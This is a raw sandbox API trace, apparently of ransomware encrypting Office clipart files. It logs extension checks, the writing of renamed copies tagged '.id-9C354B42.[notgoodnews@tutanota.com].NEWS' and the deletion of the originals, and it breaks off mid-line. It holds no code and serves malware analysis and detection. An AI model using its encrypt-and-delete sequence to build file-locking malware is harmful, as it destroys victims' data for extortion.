lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.632] lstrlenW (lpString=".zip") returned 4 [0233.632] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.632] lstrlenW (lpString=".rar") returned 4 [0233.632] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.632] lstrlenW (lpString=".bz2") returned 4 [0233.632] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.633] lstrlenW (lpString=".7z") returned 3 [0233.633] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.633] lstrlenW (lpString=".dbf") returned 4 [0233.633] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.633] lstrlenW (lpString=".1cd") returned 4 [0233.633] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0233.633] lstrlenW (lpString=".jpg") returned 4 [0233.633] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.635] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0233.636] lstrlenW (lpString="PARNT_08.MID") returned 12 [0233.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0233.636] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=7347) returned 1 [0233.636] CloseHandle (hObject=0x384) returned 1 [0233.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0233.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0233.638] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.638] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0233.639] GetLastError () returned 0x0 [0233.639] ReadFile (in: hFile=0x384, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x1cb3, lpOverlapped=0x0) returned 1 [0233.655] WriteFile (in: hFile=0x388, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x1cc0, lpOverlapped=0x0) returned 1 [0233.658] ReadFile (in: hFile=0x384, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.658] WriteFile (in: hFile=0x388, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.659] SetEndOfFile (hFile=0x388) returned 1 [0233.682] CloseHandle (hObject=0x388) returned 1 [0233.682] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.682] SetEndOfFile (hFile=0x384) returned 1 [0233.689] CloseHandle (hObject=0x384) returned 1 [0233.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0233.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.691] lstrlenW (lpString=".doc") returned 4 [0233.691] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.691] lstrlenW (lpString=".docx") returned 5 [0233.692] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0233.692] lstrlenW (lpString=".pdf") returned 4 [0233.692] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.692] lstrlenW (lpString=".xls") returned 4 [0233.692] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.692] lstrlenW (lpString=".xlsx") returned 5 [0233.692] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0233.692] lstrlenW (lpString=".ppt") returned 4 [0233.692] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.692] lstrlenW (lpString=".zip") returned 4 [0233.692] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.692] lstrlenW (lpString=".rar") returned 4 [0233.692] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.692] lstrlenW (lpString=".bz2") returned 4 [0233.693] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.693] lstrlenW (lpString=".7z") returned 3 [0233.693] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.693] lstrlenW (lpString=".dbf") returned 4 [0233.693] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.693] lstrlenW (lpString=".1cd") returned 4 [0233.693] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.693] lstrlenW (lpString=".jpg") returned 4 [0233.694] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.694] lstrlenW (lpString=".doc") returned 4 [0233.694] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.694] lstrlenW (lpString=".docx") returned 5 [0233.694] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0233.694] lstrlenW (lpString=".pdf") returned 4 [0233.695] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.695] lstrlenW (lpString=".xls") returned 4 [0233.695] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.695] lstrlenW (lpString=".xlsx") returned 5 [0233.695] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0233.695] lstrlenW (lpString=".ppt") returned 4 [0233.695] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.695] lstrlenW (lpString=".zip") returned 4 [0233.695] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.695] lstrlenW (lpString=".rar") returned 4 [0233.695] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.695] lstrlenW (lpString=".bz2") returned 4 [0233.696] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.696] lstrlenW (lpString=".7z") returned 3 [0233.696] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.696] lstrlenW (lpString=".dbf") returned 4 [0233.696] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.853] lstrlenW (lpString=".1cd") returned 4 [0233.853] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0233.853] lstrlenW (lpString=".jpg") returned 4 [0233.853] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.854] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0233.854] lstrlenW (lpString="PARNT_10.MID") returned 12 [0233.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0234.759] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=5393) returned 1 [0234.760] CloseHandle (hObject=0x384) returned 1 [0234.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0236.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0236.219] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.220] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0236.240] GetLastError () returned 0x0 [0236.240] ReadFile (in: hFile=0x1c0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x1511, lpOverlapped=0x0) returned 1 [0236.278] WriteFile (in: hFile=0x384, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0236.281] ReadFile (in: hFile=0x1c0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.281] WriteFile (in: hFile=0x384, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.281] SetEndOfFile (hFile=0x384) returned 1 [0236.282] CloseHandle (hObject=0x384) returned 1 [0236.282] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.282] SetEndOfFile (hFile=0x1c0) returned 1 [0236.347] CloseHandle (hObject=0x1c0) returned 1 [0236.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0236.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.350] lstrlenW (lpString=".doc") returned 4 [0236.351] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.351] lstrlenW (lpString=".docx") returned 5 [0236.351] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0236.351] lstrlenW (lpString=".pdf") returned 4 [0236.351] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.351] lstrlenW (lpString=".xls") returned 4 [0236.351] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.351] lstrlenW (lpString=".xlsx") returned 5 [0236.351] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0236.351] lstrlenW (lpString=".ppt") returned 4 [0236.351] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.352] lstrlenW (lpString=".zip") returned 4 [0236.352] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.352] lstrlenW (lpString=".rar") returned 4 [0236.352] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.352] lstrlenW (lpString=".bz2") returned 4 [0236.352] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.352] lstrlenW (lpString=".7z") returned 3 [0236.352] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.352] lstrlenW (lpString=".dbf") returned 4 [0236.352] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.353] lstrlenW (lpString=".1cd") returned 4 [0236.353] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.353] lstrlenW (lpString=".jpg") returned 4 [0236.353] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.353] lstrlenW (lpString=".doc") returned 4 [0236.353] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.353] lstrlenW (lpString=".docx") returned 5 [0236.354] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0236.354] lstrlenW (lpString=".pdf") returned 4 [0236.354] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.354] lstrlenW (lpString=".xls") returned 4 [0236.354] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.354] lstrlenW (lpString=".xlsx") returned 5 [0236.354] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0236.354] lstrlenW (lpString=".ppt") returned 4 [0236.354] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.354] lstrlenW (lpString=".zip") returned 4 [0236.354] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.355] lstrlenW (lpString=".rar") returned 4 [0236.355] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.355] lstrlenW (lpString=".bz2") returned 4 [0236.355] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.355] lstrlenW (lpString=".7z") returned 3 [0236.355] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.355] lstrlenW (lpString=".dbf") returned 4 [0236.355] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.355] lstrlenW (lpString=".1cd") returned 4 [0236.356] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0236.356] lstrlenW (lpString=".jpg") returned 4 [0236.356] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.439] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0236.440] lstrlenW (lpString="SHOW_01.MID") returned 11 [0236.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0236.560] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=6392) returned 1 [0236.560] CloseHandle (hObject=0x3c0) returned 1 [0236.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0236.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0236.597] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.597] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0236.599] GetLastError () returned 0x0 [0236.599] ReadFile (in: hFile=0x3cc, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x18f8, lpOverlapped=0x0) returned 1 [0236.611] WriteFile (in: hFile=0x3ac, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x1900, lpOverlapped=0x0) returned 1 [0238.292] ReadFile (in: hFile=0x3cc, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0238.292] WriteFile (in: hFile=0x3ac, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xea, lpOverlapped=0x0) returned 1 [0238.292] SetEndOfFile (hFile=0x3ac) returned 1 [0238.919] CloseHandle (hObject=0x3ac) returned 1 [0239.273] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0239.273] SetEndOfFile (hFile=0x3cc) returned 1 [0239.608] CloseHandle (hObject=0x3cc) returned 1 [0239.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0239.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 1 [0239.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.893] lstrlenW (lpString=".doc") returned 4 [0239.893] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.893] lstrlenW (lpString=".docx") returned 5 [0239.893] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.893] lstrlenW (lpString=".pdf") returned 4 [0239.893] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.893] lstrlenW (lpString=".xls") returned 4 [0239.893] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.894] lstrlenW (lpString=".xlsx") returned 5 [0239.894] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.894] lstrlenW (lpString=".ppt") returned 4 [0239.894] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.894] lstrlenW (lpString=".zip") returned 4 [0239.894] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.894] lstrlenW (lpString=".rar") returned 4 [0239.894] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.894] lstrlenW (lpString=".bz2") returned 4 [0239.894] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.894] lstrlenW (lpString=".7z") returned 3 [0239.894] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.895] lstrlenW (lpString=".dbf") returned 4 [0239.895] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.895] lstrlenW (lpString=".1cd") returned 4 [0239.895] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.895] lstrlenW (lpString=".jpg") returned 4 [0239.895] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.895] lstrlenW (lpString=".doc") returned 4 [0239.896] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.896] lstrlenW (lpString=".docx") returned 5 [0239.896] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.896] lstrlenW (lpString=".pdf") returned 4 [0239.896] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.896] lstrlenW (lpString=".xls") returned 4 [0239.896] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.896] lstrlenW (lpString=".xlsx") returned 5 [0239.896] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.896] lstrlenW (lpString=".ppt") returned 4 [0239.896] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.896] lstrlenW (lpString=".zip") returned 4 [0239.896] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.897] lstrlenW (lpString=".rar") returned 4 [0239.897] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.897] lstrlenW (lpString=".bz2") returned 4 [0239.897] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.897] lstrlenW (lpString=".7z") returned 3 [0239.897] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.897] lstrlenW (lpString=".dbf") returned 4 [0239.897] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.897] lstrlenW (lpString="C:\\Program Files\\Microsoft 